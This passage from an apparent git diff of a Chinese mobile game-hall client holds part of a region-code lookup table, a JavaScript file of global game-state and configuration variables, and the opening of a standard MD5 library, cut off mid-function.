溪县","350525":"福建省泉州市永春县","350526":"福建省泉州市德化县","350527":"福建省泉州市金门县","350581":"福建省泉州市石狮市","350582":"福建省泉州市晋江市","350583":"福建省泉州市南安市","350600":"福建省漳州市","350601":"福建省漳州市市辖区","350602":"福建省漳州市芗城区","350603":"福建省漳州市龙文区","350622":"福建省漳州市云霄县","350623":"福建省漳州市漳浦县","350624":"福建省漳州市诏安县","350625":"福建省漳州市长泰县","350626":"福建省漳州市东山县","350627":"福建省漳州市南靖县","350628":"福建省漳州市平和县","350629":"福建省漳州市华安县","350681":"福建省漳州市龙海市","350700":"福建省南平市","350701":"福建省南平市市辖区","350702":"福建省南平市延平区","350721":"福建省南平市顺昌县","350722":"福建省南平市浦城县","350723":"福建省南平市光泽县","350724":"福建省南平市松溪县","350725":"福建省南平市政和县","350781":"福建省南平市邵武市","350782":"福建省南平市武夷山市","350783":"福建省南平市建瓯市","350784":"福建省南平市建阳市","350800":"福建省龙岩市","350801":"福建省龙岩市市辖区","350802":"福建省龙岩市新罗区","350821":"福建省龙岩市长汀县","350822":"福建省龙岩市永定县","350823":"福建省龙岩市上杭县","350824":"福建省龙岩市武平县","350825":"福建省龙岩市连城县","350881":"福建省龙岩市漳平市","352200":"福建省宁德地区","352201":"福建省宁德地区宁德市","352202":"福建省宁德地区福安市","352203":"福建省宁德地区福鼎市","352225":"福建省宁德地区霞浦县","352227":"福建省宁德地区古田县","352228":"福建省宁德地区屏南县","352229":"福建省宁德地区寿宁县","352230":"福建省宁德地区周宁县","352231":"福建省宁德地区柘荣县","360000":"江西省","360100":"江西省南昌市","360101":"江西省南昌市市辖区","360102":"江西省南昌市东湖区","360103":"江西省南昌市西湖区","360104":"江西省南昌市青云谱区","360105":"江西省南昌市湾里区","360111":"江西省南昌市郊区","360121":"江西省南昌市南昌县","360122":"江西省南昌市新建县","360123":"江西省南昌市安义县","360124":"江西省南昌市进贤县","360200":"江西省景德镇市","360201":"江西省景德镇市市辖区","360202":"江西省景德镇市昌江区","360203":"江西省景德镇市珠山区","360222":"江西省景德镇市浮梁县","360281":"江西省景德镇市乐平市","360300":"江西省萍乡市","360301":"江西省萍乡市市辖区","360302":"江西省萍乡市安源区","360313":"江西省萍乡市湘东区","360321":"江西省萍乡市莲花县","360322":"江西省萍乡市上栗县","360323":"江西省萍乡市芦溪县","360400":"江西省九江市","360401":"江西省九江市市辖区","360402":"江西省九江市庐山区","360403":"江西省九江市浔阳区","360421":"江西省九江市九江县","360423":"江西省九江市武宁县","360424":"江西省九江市修水县","360425":"江西省九江市永修县","360426":"江西省九江市德安县","360427":"江西省九江市星子县","360428":"江西省九江市都昌县","360429":"江西省九江市湖口县","360430":"江西省九江市彭泽县","360481":"江西省九江市瑞昌市","360500":"江西省新余市","360501":"江西省新余市市辖区","360502":"江西省新余市渝水区","360521":"江西省新余市分宜县"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,"372922":"山东省菏泽地区曹县","372923":"山东省菏泽地区定陶县","372924":"山东省菏泽地区成武县","372925":"山东省菏泽地区单县","372926":"山东省菏泽地区巨野县","372928":"山东省菏泽地区郓城县","372929":"山东省菏泽地区鄄城县","372930":"山东省菏泽地区东明县","410000":"河南省","410100":"河南省郑州市","410101":"河南省郑州市市辖区","410102":"河南省郑州市中原区","410103":"河南省郑州市二七区","410104":"河南省郑州市管城回族区","410105":"河南省郑州市金水区","410106":"河南省郑州市上街区","410108":"河南省郑州市邙山区","410122":"河南省郑州市中牟县","410181":"河南省郑州市巩义市","410182":"河南省郑州市荥阳市","410183":"河南省郑州市新密市","410184":"河南省郑州市新郑市","410185":"河南省郑州市登封市","410200":"河南省开封市","410201":"河南省开封市市辖区","410202":"河南省开封市龙亭区","410203":"河南省开封市顺河回族区","410204":"河南省开封市鼓楼区","410205":"河南省开封市南关区","410211":"河南省开封市郊区","410221":"河南省开封市杞县","410222":"河南省开封市通许县","410223":"河南省开封市尉氏县","410224":"河南省开封市开封县","410225":"河南省开封市兰考县","410300":"河南省洛阳市","410301":"河南省洛阳市市辖区","410302":"河南省洛阳市老城区","410303":"河南省洛阳市西工区","410304":"河南省洛阳市廛河回族区","410305":"河南省洛阳市涧西区","410306":"河南省洛阳市吉利区","410311":"河南省洛阳市郊区","410322":"河南省洛阳市孟津县","410323":"河南省洛阳市新安县","410324":"河南省洛阳市栾川县","410325":"河南省洛阳市嵩县","410326":"河南省洛阳市汝阳县","410327":"河南省洛阳市宜阳县","410328":"河南省洛阳市洛宁县","410329":"河南省洛阳市伊川县","410381":"河南省洛阳市偃师市","410400":"河南省平顶山市","410401":"河南省平顶山市市辖区","410402":"河南省平顶山市新华区","410403":"河南省平顶山市卫东区","410404":"河南省平顶山市石龙区","410411":"河南省平顶山市湛河区","410421":"河南省平顶山市宝丰县","410422":"河南省平顶山市叶县","410423":"河南省平顶山市鲁山县","410425":"河南省平顶山市郏县","410481":"河南省平顶山市舞钢市","410482":"河南省平顶山市汝州市","410500":"河南省安阳市","410501":"河南省安阳市市辖区","410502":"河南省安阳市文峰区","410503":"河南省安阳市北关区","410504":"河南省安阳市铁西区","410511":"河南省安阳市郊区","410522":"河南省安阳市安阳县","410523":"河南省安阳市汤阴县","410526":"河南省安阳市滑县","410527":"河南省安阳市内黄县","410581":"河南省安阳市林州市","410600":"河南省鹤壁市","410601":"河南省鹤壁市市辖区","410602":"河南省鹤壁市鹤山区","410603":"河南省鹤壁市山城区","410611":"河南省鹤壁市郊区","410621":"河南省鹤壁市浚县","410622":"河南省鹤壁市淇县","410700":"河南省新乡市","410701":"河南省新乡市市辖区","410702":"河南省新乡市红旗区","410703":"河南省新乡市新华区","410704":"河南省新乡市北站区","410711":"河南省新乡市郊区","410721":"河南省新乡市新乡县","410724":"河南省新乡市获嘉县","410725":"河南省新乡市原阳县","410726":"河南省新乡市延津县","410727":"河南省新乡市封丘县","410728":"河南省新乡市长垣县","410781":"河南省新乡市卫辉市","410782":"河南省新乡市辉县市","410800":"河南省焦作市","410801":"河南省焦作市市辖区","410802":"河南省焦作市解放区","410803":"河南省焦作市中站区","410804":"河南省焦作市马村区","410811":"河南省焦作市山阳区","410821":"河南省焦作市修武县","410822":"河南省焦作市博爱县","410823":"河南省焦作市武陟县","410825":"河南省焦作市温县","410881":"河南省焦作市济源市","410882":"河南省焦作市沁阳市","410883":"河南省焦作市孟州市","410900":"河南省濮阳市","410901":"河南省濮阳市市辖区","410902":"河南省濮阳市市区","410922":"河南省濮阳市清丰县","410923":"河南省濮阳市南乐县","410926":"河南省濮阳市范县","410927":"河南省濮阳市台前县","410928":"河南省濮阳市濮阳县","411000":"河南省许昌市","411001":"河南省许昌市市辖区","411002":"河南省许昌市魏都区","411023":"河南省许昌市许昌县","411024":"河南省许昌市鄢陵县","411025":"河南省许昌市襄城县","411081":"河南省许昌市禹州市","411082":"河南省许昌市长葛市","411100":"河南省漯河市","411101":"河南省漯河市市辖区","411102":"河南省漯河市源汇区","411121":"河南省漯河市舞阳县","411122":"河南省漯河市临颍县","411123":"河南省漯河市郾城县","411200":"河南省三门峡市","411201":"河南省三门峡市市辖区","411202":"河南省三门峡市湖滨区","411221":"河南省三门峡市渑池县","411222":"河南省三门峡市陕县","411224":"河南省三门峡市卢氏县","411281":"河南省三门峡市义马市","411282":"河南省三门峡市灵宝市","411300":"河南省南阳市","411301":"河南省南阳市市辖区","411302":"河南省南阳市宛城区","411303":"河南省南阳市卧龙区","411321":"河南省南阳市南召县","411322":"河南省南阳市方城县","411323":"河南省南阳市西峡县","411324":"河南省南阳市镇平县","411325":"河南省南阳市内乡县","411326":"河南省南阳市淅川县","411327":"河南省南阳市社旗县","411328":"河南省南阳市唐河县","411329":"河南省南阳市新野县","411330":"河南省南阳市桐柏县","411381":"河南省南阳市邓州市","411400":"河南省商丘市","411401":"河南省商丘市市辖区","411402":"河南省商丘市梁园区","411403":"河南省商丘市睢阳区","411421":"河南省商丘市民权县","411422":"河南省商丘市睢县","411423":"河南省商丘市宁陵县","411424":"河南省商丘市柘城县","411425":"河南省商丘市虞城县","411426":"河南省商丘市夏邑县","411481":"河南省商丘市永城市","411500":"河南省信阳市","411501":"河南省信阳市市辖区","411502":"河南省信阳市师河区","411503":"河南省信阳市平桥区","411521":"河南省信阳市罗山县","411522":"河南省信阳市光山县","411523":"河南省信阳市新县","411524":"河南省信阳市商城县","411525":"河南省信阳市固始县","411526":"河南省信阳市潢川县","411527":"河南省信阳市淮滨县","411528":"河南省信阳市息县","412700":"河南省周口地区","412701":"河南省周口地区周口市","412702":"河南省周口地区项城市","412721":"河南省周口地区扶沟县","412722":"河南省周口地区西华县","412723":"河南省周口地区商水县","412724":"河南省周口地区太康县","412725":"河南省周口地区鹿邑县","412726":"河南省周口地区郸城县","412727":"河南省周口地区淮阳县","412728":"河南省周口地区沈丘县","412800":"河南省驻马店地区","412801":"河南省驻马店地区驻马店市","412821":"河南省驻马店地区确山县","412822":"河南省驻马店地区泌阳县","412823":"河南省驻马店地区遂平县","412824":"河南省驻马店地区西平县","412825":"河南省驻马店地区上蔡县","412826":"河南省驻马店地区汝南县","412827":"河南省驻马店地区平舆县","412828":"河南省驻马店地区新蔡县","412829":"河南省驻马店地区正阳县","420000":"湖北省","420100":"湖北省武汉市","420101":"湖北省武汉市市辖区","420102":"湖北省武汉市江岸区","420103":"湖北省武汉市江汉区","420104":"湖北省武汉市乔口区","420105":"湖北省武汉市汉阳区","420106":"湖北省武汉市武昌区","420107":"湖北省武汉市青山区","420111":"湖北省武汉市洪山区","420112":"湖北省武汉市东西湖区","420113":"湖北省武汉市汉南区","420114":"湖北省武汉市蔡甸区","420115":"湖北省武汉市江夏区","420116":"湖北省武汉市黄陂区","420117":"湖北省武汉市新洲区","420200":"湖北省黄石市","420201":"湖北省黄石市市辖区","420202":"湖北省黄石市黄石港区","420203":"湖北省黄石市石灰窑区","420204":"湖北省黄石市下陆区","420205":"湖北省黄石市铁山区","420222":"湖北省黄石市阳新县","420281":"湖北省黄石市大冶市","420300":"湖北省十堰市","420301":"湖北省十堰市市辖区","420302":"湖北省十堰市茅箭区","420303":"湖北省十堰市张湾区","420321":"湖北省十堰市郧县","420322":"湖北省十堰市郧西县","420323":"湖北省十堰市竹山县","420324":"湖北省十堰市竹溪县","420325":"湖北省十堰市房县","420381":"湖北省十堰市丹江口市","420500":"湖北省宜昌市","420501":"湖北省宜昌市市辖区","420502":"湖北省宜昌市西陵区","420503":"湖北省宜昌市伍家岗区","420504":"湖北省宜昌市点军区","420505":"湖北省宜昌市虎亭区","4205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+ diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/04_Data.js b/games/games/Projects/clinet/gamehall/js/00_Surface/04_Data.js new file mode 100644 index 0000000..8321e70 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/04_Data.js @@ -0,0 +1,582 @@ +/*var returnCitySN = {"cip": "171.34.213.118", "cid": "360000", "cname": "江西省"}*/ + +var C_Player; +var InfoSex=0; + + +var arrBan=[]; +var RoomCode = ""; +var RoomNum = -1; + +var CombatCount = 0; +var CombatPage = 0;//战绩页码 +var CombatPageTwoIndex = 0;//大局标号 +var CombatPageThreeIndex = 0;//小局标号 + +var CombatInfo = [];//战绩详情 +var C_PageOneBtn = [];//战绩页一按钮id +var C_PageTwoBtn = [];//战绩页二按钮id +var CombatBackHeight = 0;//战绩背景高度 + +var TaskInfo = [];//任务详情 +var VoteTime=0;//投票倒计时秒 + +var GameData=GameData||{}; +GameData.HallServer=""; +GameData.Server=""; +GameData.AjaxUrl=""; +GameData.scrollmsg=""; +GameData.wechat_gzh=""; +GameData.wechat_kfh=""; +GameData.qq = ""; +GameData.tel = ""; +GameData.gzhcolor1 = ""; +GameData.gzhcolor2 = ""; +GameData.telcolor = ""; + +GameData.errorMsg = null; +GameData.tcpConnect=true; +GameData.tcpConnectState = false; +GameData.TimerID=0; +GameData.TimerID_2=0; +GameData.timer=10000; +GameData.time_2=15000; +GameData.NetType=0;//是否为首次连接 +GameData.Protocol_H=1; +GameData.ProtocolIndex=true; +GameData.isLoad=true; +GameData.LoadCount=0; +GameData.Timesup=false; +GameData.InteractPlayer = -1; +GameData.isCallback=false; +GameData.isBoard=true; +GameData.ConnectType=false;//1->更换服务器不需要重连 +GameData.ConnectRpc="";//更换服务器成功后发包的RPC +GameData.ConnectPack={};//更换服务器成功后发包数据 +GameData.Battery = 0;//电量 +GameData.NetWork = 0;//网络情况1 未连接网络 2 连接wifi 3 连接2G/3G/4G +GameData.WifiLevel = 0;//WiFi强度 +GameData.wechat_ewm = "";//二维码 +GameData.appstate=true;//true程序前台运行false程序后台运行 +GameData.OS = ConstVal.OS.other;//1->IOS 2->Android 3->wp 4->other +GameData.isLogin = false;//是否已登录 +GameData.leaveTime=0;// +GameData.disType = false; +GameData.reconnectTimer=0; +GameData.isClose = false; +GameData.isCloseTimer = null; +GameData.firstConnect = true;//第一次连接 +GameData.firstConnect_Succ = false;//第一次连接成功 +GameData.firstConnect_Timer = null;//第一次连接定时器 +GameData.loginTimer = null; +GameData.tryTimes = 0;//链接尝试次数 +GameData.isReconnect = false; +GameData.isCreateEmotion = false; +GameData.ChatPage = 1; +GameData.slidEmotion = false; +GameData.communionHistory=[];//聊天历史//二维数组[[方位,类型(1-文字2语音),内容,时长]] +GameData.createHistoryLen = 0;//以创建的精灵的长度 +GameData.slideHistory = false; +GameData.TcpTimer = null;//tcp连接失败判断定时器 +GameData.slideTask = false;//是否滑动任务 +GameData.copyTaskTagList = [];//任务复制精灵tag列表 + + + +GameData.versionState = 0;//苹果审核结果 +GameData.visitorserver = "";//游客服务器地址 +GameData.isVisitor = false; + +GameData.shakeID = 0;//摇一摇事件ID +GameData.isRecord = false; + +GameData.LaunchMode = ConstVal.Launch_mode.from_self; + +GameData.Multiple = ""; +GameData.OrgArr=[]; +GameData.MultiArr = []; + +GameData.isFirstLogin = true;//是否是第一次登陆 + +GameData.payList = null; +GameData.payData = [0,0]; + +GameData.visitorClick = 0; +GameData.Scene = 0; + +GameData.urlFail = false; +GameData.BroadcastArray = []; +GameData.isBoardcast = false; + +GameData.tcpState = [0,0]; +GameData.Notice ={ + heigth:0, + lineSum:0, + width:0 +} +GameData.marketID = 0; +GameData.getJSONState = false;//JSON获取成功状态 +GameData.Config = null;//服务器配置json +GameData.AgentLoginImg = "";//代理商图片 +GameData.TopUpUrl = "";//索要房卡地址 + +GameData.tryConnect = false; +GameData.hallConfigName = ["enablePay", + "logoffCallback",//不通知 + 'worldRoomList',//星星争霸是否可用 + 'max:', + 'min', + 'unit', + 'shareMsg', + 'autoWorldRoomList',//是否自动弹出星星争霸场 + 'rankList',//是否显示排行榜按钮1模拟排行2真实排行 + 'groupMsg',//试玩群信息 + 'isReSetOwnerNote',//是否替换签名 + 'activity',//是否显示活动如果显示则为[x,y,w,h/*,isOpen,btnUrl,url,actid*/] + 'actData:',//常驻活动按钮 [imgUrl,isOpen,jumpUrl,actUrl] + 'shareButton:',//是否显示分享到平台 + 'enableQuickEnter',//是否隐藏快速加入 + 'storeUrl',//商城url + 'bagUrl',//背包url + 'shareDesc',//平台分享描述信息 + 'wareHouse',//是否开启仓库功能0->不开启1->开启保险箱不开启赠送2->开启赠送不开启保险箱3->开启星星赠送(开启保险箱)4->开启房卡赠送(开启保险箱)5->开启星星房卡赠送(开启保险箱) + 'betaText',//版本号后的beta显示内容 + 'launchImgUrl',//启动页图片地址 + 'shareType:',//分享朋友圈类型0->链接分享 1->图片分享 + 'shareImgUrl',//分享朋友圈图片链接 + 'launchWaitTime',//启动等待时间 + 'shareBgUrl',//分享背景图片 + 'qqLogin',//是否显示qq登录 + 'androidPay',//是否开启安卓支付 + 'channelKey',//支付key + 'payCSS',//支付css + 'payJS',//支付js + 'openVideo' + ];//是否开启视频]; +GameData.hallConfig = { + enablePay:0, + logoffCallback:0,//不通知 + worldRoomList:0,//星星争霸是否可用 + max:100, + min:0, + unit:1, + shareMsg:"", + autoWorldRoomList:0,//是否自动弹出星星争霸场 + rankList:0,//是否显示排行榜按钮1模拟排行2真实排行 + groupMsg:"",//试玩群信息 + isReSetOwnerNote:0,//是否替换签名 + activity:0,//是否显示活动如果显示则为[x,y,w,h/*,isOpen,btnUrl,url,actid*/] + actData:0,//常驻活动按钮 [imgUrl,isOpen,jumpUrl,actUrl] + shareButton:1,//是否显示分享到平台 + enableQuickEnter:1,//是否隐藏快速加入 + storeUrl:"",//商城url + bagUrl:"",//背包url + shareDesc:"",//平台分享描述信息 + wareHouse:0,//是否开启仓库功能0->不开启1->开启保险箱不开启赠送2->开启赠送不开启保险箱3->开启星星赠送(开启保险箱)4->开启房卡赠送(开启保险箱)5->开启星星房卡赠送(开启保险箱) + betaText:"",//版本号后的beta显示内容 + launchImgUrl:"",//启动页图片地址 + shareType:0,//分享朋友圈类型0->链接分享 1->图片分享 + shareImgUrl:"",//分享朋友圈图片链接 + launchWaitTime:10,//启动等待时间 + shareBgUrl:"",//分享背景图片 + qqLogin:0,//是否显示qq登录 + androidPay:0,//是否开启安卓支付 + channelKey:"",//支付key + payCSS:"",//支付css + payJS:"",//支付js + openVideo:0,//是否开启视频 +}; +GameData.starName = "星星"; +GameData.roomCardName = "房卡"; +GameData.gameConfig = {}; + +GameData.playerHeadImgState = false;//玩家主界面头像加载状态 +GameData.matchhtml = "";//比赛链接地址 + +GameData.Validator = null; +GameData.loginBtnType = ConstVal.loginButton.type1[0];//登录按钮样式 +GameData.netWorkSate = false; + +GameData.heartBeatTimer = null;//心跳事件定时器ID +GameData.heartBeatStage = false;//提示框是否处于心跳提示事件 + +GameData.telSpid = 179;//拨打电话精灵号 +GameData.matchInfo = null;//比赛场信息 + +GameData.agentmode = 1;//邀请码模式 + +GameData.infMode = 0;//是否为无限局 +GameData.infClickCount = 0;//点击次数 + +GameData.checkType = 1;//确认面板事件类型 1->解散房间 2->退出房间 3->投降 +GameData.roomList = [];//房间列表 + +GameData.sendLoginTimer = null;//发送重连登录包定时器 +GameData.loginList = [];// +GameData.isConnected = false; + +GameData.isSendLoginState = false;//是否在等待登录包 +GameData.isSendLoginTimer = null;//登录包收包定时器 +GameData.isTcpConnect = false;//是否在连接状态 + +GameData.TcpID = 0;//tcpid +GameData.websocketList=[]; +GameData.pack=""; +GameData.infoSeat = -1; + +GameData.sendLoginTimes = 0; + +GameData.backUrl = ""; + +GameData.playerid = ""; + +GameData.serverConfig = {}; + +GameData.userAgent = ConstVal.userAgent.uAgent_1; + +GameData.getbattery = ""; +GameData.getbatteryPack = {}; + +GameData.getnetwork = ""; +GameData.getnetworkPack = {}; + +GameData.getVersionState = ""; +GameData.getVersionStatePack = {}; + +GameData.getchannelName = ""; +GameData.getchannelNamePack = {}; + +GameData.getmarketname = ""; +GameData.getmarketnamePack = {}; + +GameData.gamepastetext = ""; +GameData.gamepastetextPack = {}; +GameData.worldRoomSys=[]; + +//玩家房间数据 +GameData.worldRoomPly=[]; + +GameData.worldRoomSysSlide = false; +GameData.worldRoomPlySlide = false; + +GameData.menuNotice = null; + +GameData.advertInfo_1 = { + type:0,//是否使用默认的文字通知 + imgUrl:"",//图片地址 + imgAdUrl:"",//图片跳转链接地址 + height:1,//图片高度 + msg:"", + url:"", +}; +GameData.advertInfo_2 = { + type:0, + imgUrl:"", + imgAdUrl:"", + height:1, + msg:"", + url:"", +}; +GameData.advertInfo_0 = { + type:0, + imgUrl:"", + imgAdUrl:"", + height:1, + msg:"", + url:"", +}; +GameData.noticePage = 0; +GameData.noticePara = [[0,0],[0,0],[0,0]]; + +GameData.snrOption = { + profit:0, + roomcode:"", +}; +GameData.snrRoomList = { + roomlist:[], + roomtype:[], + tea:1000, + shortcode:888 +}; +GameData.snrRoomListSlide = false; +GameData.snrOptionLength = 0; +GameData.snrOptionRoomTag = 0; +GameData.snrOptionMode = 0; +GameData.snrOptionRoomtype = ""; +GameData.snrOptionDes = ""; +GameData.snrOptionProfit=0; + +GameData.shortCode = ""; + +GameData.isShowWorldRoomList = true; +GameData.shareMsg = ""; + +GameData.rankList = []; +GameData.rankListTag = 0; +GameData.ranListLength = 0; +GameData.rankListSlide = false; + +GameData.h5Version = 0; +// +var shareParam = { + appid: "14936872341446", + devkey: "14915485974028" +} + +GameData.shareTimeline = {//朋友圈 + title: "", + desc: "", + link: "", + imgUrl: "" +} +GameData.shareAppMessage = {//好友 + title: "", + desc: "", + link: "", + imgUrl: "" +} +GameData.gameData = ""; +GameData.fromH5GameData = {}; +GameData.isJoinRoomFromH5 = false; +GameData.h5ShareImage = ""; +GameData.screenShotStage = 0; +GameData.screenShotSpidList = []; + +GameData.ownerNote = ""; +GameData.isDebugger = 0; + +GameData.returnUrl = ""; + +GameData.configData = ""; +GameData.h5ShareUrl = ""; + +GameData.inputPanelData = ""; +GameData.inputCallBack = null; + +GameData.isShowNeighbor = true; + +GameData.nameImgFrame_1 = 1;//房卡图片帧数 +GameData.nameImgFrame_2 = 1;//星星图片帧数 +GameData.surrendCount = 0; + + +GameData.htmlCode = ""; +GameData.htmlId = ""; + +GameData.serverIndex = 0;//连接地址下标 +GameData.tryReconnectTimes = 0; +GameData.isChangeServer = false; + +GameData.shareFrom = 0;//0->框架分享 1->游戏分享 +GameData.activityType = 0;//子游戏调用类型 +GameData.activityData = null;//子游戏调用类型 +GameData.shareTimes = 0;//分享次数 + +GameData.sharePostUrl = "http://localhost:4477/testurl";//截图分享链接 +//保险箱 +GameData.wareHouse = { + page:1,//当前页 + safeInputType:1,//保险箱存入取出类型 + safeInputCount:-1,//保险箱存入取出数量 + safePassWord:-1,//保险箱存入取出密码 + inputNumber:0,//输入的数字 + selectType:1,//选择的当前输入框 + initPassWord1:-1,//初始化密码 + initPassWord2:-1,//确认初始化密码 + pId:0,//赠送id + pImg:"",//赠送头像 + pNickName:"",//赠送昵称 + pInputType:1,//赠送类型 + pInputId:-1,//输入id + pInputCount:-1,//赠送数量 + pInputPassWord:-1,//赠送密码 + + +}; +GameData.openVideo = 0;//是否开启视频功能 +GameData.imgAdIsSlide = false; +GameData.launchImgLoaded = false;//启动页图片是否从网络加载完成 +GameData.configSuccess = false;//配置文件读取成功 +GameData.launchWaitTime = 0; +GameData.adTimer = null; + +GameData.sysNotice = [];//系统公告 {msg:"",read:false,line:1} +GameData.sysCreateLength = 0; + +GameData.selectSysNotice = false;//是否勾选发送系统公告 +GameData.sysNoticeCost = 0; +GameData.sysNoticeLimit = 0; + + +GameData.mainMenuAniTimer = null; +GameData.worldRoomPage = 0; + +GameData.createMyRoomListLength = 0; + +GameData.starCount = 0; +GameData.roomCardCount=0; + +GameData.loginPlayerid = false;//登录是否带上playerid + +GameData.matchId = null; + +GameData.chatLine = null; +GameData.chatInfo = null; +GameData.isService = false; + +GameData.submitLocation = false; +GameData.submitPhoneInfo = false; +GameData.submitAddressBook = false; +GameData.getConfigTimer = null; + +GameData.clickChat = 0; + +GameData.phoneInfo = null; +GameData.addressBook = null; +//GameData.sysConfigName=[]; +GameData.sysConfigName=["hideEscape","charmName","hideTaskBtn","miniPro","videoConfig","ofcShortCode","ofcTips","ofcWx","ofcImg", +"managerUrl","rebateConfig","gameNoticeShow","hallNoticeShow","ofcAutoEnter","vipFlushTime","vipWx","h5PayUrl","appShareH5", +"vipRankLimit","behaviorList","deviceLogin","hideWxShare","hideRoomCard","hideSpid","cdKey","otherShare","avatarRange","avatarUrl","whiteListManager","nnLocal"]; +GameData.sysConfig={ + hideEscape:0, + charmName:"魅力", + hideTaskBtn:0,//是否隐藏任务按钮 + miniPro:0,//是否小程序/小游戏 (隐藏更多选项、分享朋友圈、聊天按钮、录音调整) + videoConfig:null,//{type:1,profitMode:1,profit:3} + ofcShortCode:null,//官方短号 + ofcImg:"",//官方按钮链接 + managerUrl:"",//管理后台地址 + rebateConfig:null,//抽成配置 + gameNoticeShow:0,//子游戏弹窗时间间隔 0每次都弹 -1不弹 + hallNoticeShow:0,//大厅弹窗时间间隔 0每次都弹 -1不弹 + ofcAutoEnter:0,//是否自动进入官方短号 + vipFlushTime:10000,//vip房间列表刷新间隔 + vipWx:"",//成为vip联系微信 + h5PayUrl:"",//h5支付地址 + appShareH5:"",//app分享的h5地址 + vipRankLimit:10,//vip排行显示个数 + behaviorList:null,//用户行为 + deviceLogin:0,//是否显示设备登录显示了设备登录就会显示手机号登录就会隐藏微信登录 + hideWxShare:0,//是否隐藏微信分享 + hideRoomCard:1,//隐藏主界面房卡 1 不隐藏 2隐藏 + hideSpid:null,//隐藏的精灵id + cdKey:1,//是否显示CDKEY 1不显示 2显示 + otherShare:1,//开启新分享 1 关闭2开启 + avatarRange:[100,10000],//设备登录的头像列表 + avatarUrl:"https://projectimage.tscce.cn/image_132/", + whiteListManager:2, //是否开启在游戏中管理白名单 + nnLocal:2,// + +}; +GameData.inputCallBack2 = null; + +GameData.topInfoTimer = null; + +GameData.iscloseVideo = true;//是否开战关闭视频 +GameData.textCallback = null; + +GameData.isLocation = false; +GameData.otherLocation = false;// +GameData.otherLocationTimes = 0; +GameData.otherLocationAllTimes = 1; + + +GameData.hallLogin = true; + +GameData.senRoomState = 0; + +GameData.rebateConfig = null; + +GameData.vipRoomPage = 0; +GameData.vipRoomCode = 0; +GameData.vipRoomData = []; +GameData.vipRoomTimer1 = false; +GameData.vipRoomIsOpen = false; +GameData.vipRoomShortList = []; +GameData.vipRoomJump = false; +GameData.vipRoomPageOne = { + cLength:0, + slide:false, +} +GameData.vipRoomPageTwo = { + cLength:0, + slide:false, + data:null, +} +GameData.tipTimer1 = null; +GameData.tipTimer2 = null; + +GameData.initCard = 0; +GameData.initBean = 0; + +GameData.brNumber=0; + +GameData.isKick = false; + +GameData.blackList = { + data:[], + length:0, + breakRoom:false, + selectTag:0, + slide:false, + inputId:"", + idWidth:12, +} +GameData.allCharm = 0; +GameData.vipRank = { + data:{ + rankList:[], + myRank:1, + myScore:100 + }, + length:0, + //selectTag:0, + slide:false, + //inputId:"", + //idWidth:12, +} +GameData.rankType = false; + +GameData.coinMp3Time = 0; +GameData.coinMp3Length = 3000; +GameData.brRebateUnit = 10000; + +GameData.phoneCodeTime = 0; +GameData.phoneCode = ""; +GameData.phoneNumber = ""; + +GameData.phoneType = 0; + +GameData.isGetPhoneInfo = false; +GameData.isDeviceLogin = false; +GameData.begin0 = false; + +GameData.vipConfig = null; + +GameData.feedMode = 0; + +GameData.fromMiniProData = {}; + + +GameData.shareFriendInfo = {}; + + +GameData.deviceAvatarList = []; + +GameData.whiteList = { + data:[], + length:0, + breakRoom:false, + selectTag:0, + slide:false, + inputId:"", + inputCharm:"", + searchId:"", + idWidth:12, + delPid:"", +} + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/05_Func.js b/games/games/Projects/clinet/gamehall/js/00_Surface/05_Func.js new file mode 100644 index 0000000..187247c --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/05_Func.js @@ -0,0 +1,4190 @@ +//var AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext; +//var _context = new AudioContext(); +/* + * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message + * Digest Algorithm, as defined in RFC 1321. + * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet + * Distributed under the BSD License + * See http://pajhome.org.uk/crypt/md5 for more info. + */ + +/* + * Configurable variables. You may need to tweak these to be compatible with + * the server-side, but the defaults work in most cases. + */ + +var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ +var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */ +var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ + +/* + * These are the functions you'll usually want to call + * They take string arguments and return either hex or base-64 encoded strings + */ +function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} +function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));} +function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));} +function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); } +function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); } +function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); } + +/* + * Perform a simple self-test to see if the VM is working + */ +function md5_vm_test() +{ + return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"; +} + +/* + * Calculate the MD5 of an array of little-endian words, and a bit length + */ +function core_md5(x, len) +{ + /* append padding */ + x[len >> 5] |= 0x80 << ((len) % 32); + x[(((len + 64) >>> 9) << 4) + 14] = len; + + var a = 1732584193; + var b = -271733879; + var c = -1732584194; + var d = 271733878; + + for(var i = 0; i < x.length; i += 16) + { + var olda = a; + var oldb = b; + var oldc = c; + var oldd = d; + + a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936); + d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586); + c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819); + b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330); + a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897); + d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426); + c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341); + b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983); + a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416); + d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417); + c = md5_ff(c, d, a, b, x[i+10], 17, -42063); + b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162); + a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682); + d = md5_ff(d, a, b, c, x[i+13], 12, -40341101); + c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290); + b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329); + 